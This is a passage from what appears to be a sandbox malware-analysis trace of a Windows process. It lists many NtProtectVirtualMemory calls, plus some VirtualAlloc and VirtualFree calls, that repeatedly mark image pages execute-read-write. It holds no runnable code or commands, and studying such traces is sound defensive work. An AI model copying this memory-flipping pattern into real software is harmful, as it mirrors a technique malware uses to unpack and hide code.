flProtect=0x4) returned 0x1f8ac000 [0147.557] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.582] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.582] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.583] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.607] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.607] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.619] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.620] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.621] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.623] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.623] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.624] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.624] VirtualAlloc (lpAddress=0x1ebe0000, dwSize=0x444000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ebe0000 [0147.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.641] VirtualFree (lpAddress=0x1fcf0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0147.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.652] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.714] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.715] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.715] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.715] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.717] VirtualFree (lpAddress=0x1f990000, dwSize=0x360000, dwFreeType=0x4000) returned 1 [0147.736] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.737] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.737] VirtualFree (lpAddress=0x1f8ac000, dwSize=0xe4000, dwFreeType=0x4000) returned 1 [0147.744] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.744] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.745] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.745] VirtualFree (lpAddress=0x1f990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.754] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.754] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.754] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.755] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.755] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.755] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.756] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.756] VirtualAlloc (lpAddress=0x0, dwSize=0x450000, flAllocationType=0x2000, flProtect=0x1) returned 0x1f990000 [0147.756] VirtualAlloc (lpAddress=0x1f990000, dwSize=0x360000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f990000 [0147.768] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.769] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.769] VirtualAlloc (lpAddress=0x1f8ac000, dwSize=0xe4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f8ac000 [0147.772] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.776] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.777] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.777] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.790] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.829] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.829] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.856] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.856] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.868] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.869] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.879] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.880] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.880] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.881] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.881] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.924] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.924] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.925] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.925] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.926] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.926] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.926] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.927] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.928] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.928] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0147.931] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.931] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.931] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.932] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.947] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.947] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.951] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.951] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.951] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, 